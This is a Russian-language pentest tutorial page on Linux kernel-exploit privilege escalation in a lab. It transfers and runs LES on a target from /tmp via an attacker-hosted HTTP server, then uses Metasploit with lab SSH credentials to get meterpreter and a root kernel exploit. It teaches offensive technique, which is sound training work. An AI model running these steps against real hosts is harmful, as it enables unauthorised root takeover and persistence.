> For the complete documentation index, see [llms.txt](https://reeves0x0.gitbook.io/linux-under-attack/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reeves0x0.gitbook.io/linux-under-attack/privilege-escalation/04-kernel-exploits.md).

# 04 - Kernel exploits

Теперь можно рассмотреть метод повышения привилегий с помощью эксплойтов ядра. Есть несколько вариантов как этого можно добиться, напрмер с использованием фреймворка [metasploit](https://github.com/rapid7/metasploit-framework), или с помощью инструмената [LES: Linux privilege escalation auditing tool](https://github.com/The-Z-Labs/linux-exploit-suggester) , или вы самостоятельно смотрите версию ядра, после чего ищете подходящий эксплоит.\
Однако следует помнить, <mark style="color:red;">ломая ядро - можно положить весь хост</mark>, именно поэтому этот вариант рассматривается последним.

### **Начнем с**  [**LES: Linux privilege escalation auditing tool**](https://github.com/The-Z-Labs/linux-exploit-suggester) **.**&#x20;

Мы можем сразу скачать его на атакуемый хост, дать права на исполнение и запустить. Но я быстро покажу как передавать файлы с хоста атакующего на хост на котором мы будем ломать ядро с помощью python http server, это бывает очень полезно.

```bash
// На хосте атакующего:
// Скачиваем LES и поднимаем в той же папке SimpleHTTPserver на порту 9000

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
sudo python3 -m http.server 9000

// На хосте где ломаем ядро:
// Переходим в папку /tmp скачиваем LES, даем права на запуск и стартуем его

cd /tmp
wget 192.168.140.128:9000/less.sh
chmod +x less 
./less
```

<figure><img src="/files/QwcTAZ5v8ntrwwu9GPyS" alt=""><figcaption><p>Передача файла</p></figcaption></figure>

После запуска скрипта LES, автоматически выведет  полученную информацию о ядре, номера CVE и о подходящих эксплоитах под ядро. Наиболее удачные варианты расположены в самом верху, там же имеется ссылка на эксплоит и базу знаний по нему.\
Осталось лишь скачать эксплоит, прочитать как он работает (возможно его нужно компилировать) и запустить на атакуемом хосте. В нашем случае это не требуется так как рут мы получили через misconfig.

<figure><img src="/files/ccdm64HtYTDCJeP9xmaw" alt=""><figcaption><p>Подборка эксплоитов от LES</p></figcaption></figure>

## <mark style="color:blue;">METASPLOIT</mark>

Тут тоже как и везде есть множество методов каким путем пойти. Но у нас уже есть SSH учетки, давайте использовать их.\
План действий будет такой:\
1\. открывает metasploit\
2\. Ищем нужный модуль для логина по ssh\
3\. Вбиваем в модуль известные нам учетки и ip\
4\. Поднимаем ssh сесссию до meterpreter (это расширенная полезная нагрузка/payload)\
5\. Ищем подоходящий эксплоит ядра\
6\. И пробуем пробить ядро и получить root

```bash
// запускаем метасплоит
msfconsole

// ищем модуль для логина по ssh
search ssh_login

// запускаем моуль
use auxiliary/scanner/ssh/ssh_login

// вбиваем в модуль известные нам данные
set rhost 192.168.140.129

// имя
set username steven

// пароль
set password pink84

// пробуем пробиться по ssh
exploit

// поднимаем сессию до meterpreter
use post/multi/manage/shell_to_meterpreter

// указываем к какой сессии привязать модуль (show sessions)
set session 1

//запускаем
exploit

// смотрим список сессий и ищем там meterpreter
sessions

// и заходим в сессию с meterpreter
sessions 2
```

<figure><img src="/files/ZYOoQnwYTjPhAu1QtlzN" alt=""><figcaption><p>meterpreter получен</p></figcaption></figure>

```bash
// запускаем поиск подходящего под ядро эксплоита
use post/multi/recon/local_exploit_suggester

// смотрим номера сессий
show sessions

// привязывает поиск сплоита к сессии метерпретера
set session 2 (у вас будет отличаться)

// запускам и ДЖЕМ. Долго. В конце скрипт предложит лучшие варианты в самом верху 
//(если они есть)

run

    
```

<figure><img src="/files/iboqJFsJS6yguQX9143M" alt=""><figcaption><p>Выбираем эксплоит</p></figcaption></figure>

Нам осталось выбрать эксплоит, настроить его, привязать к сессии и запустить

```bash
// выбираем сплоит
use имя_эксплоита_из_списка

// внимательно смотрим какие поля нужно заполнить (в моем случае это LHOST (ip атакующего)
// и номер сесии с meterpreter)

show options
set lhost 192.168.140.128 
set session 4
exploit
```

<figure><img src="/files/Qtafrrj5q2p2uWhj6oYM" alt=""><figcaption><p>Все получилось</p></figcaption></figure>

Как видно из скриншота, ядро пробито, установленна сессия meterpreter, root наш.\
Нам осталось как следует закрепиться на пробитом хосте, что бы  не потерять над ним контроль.
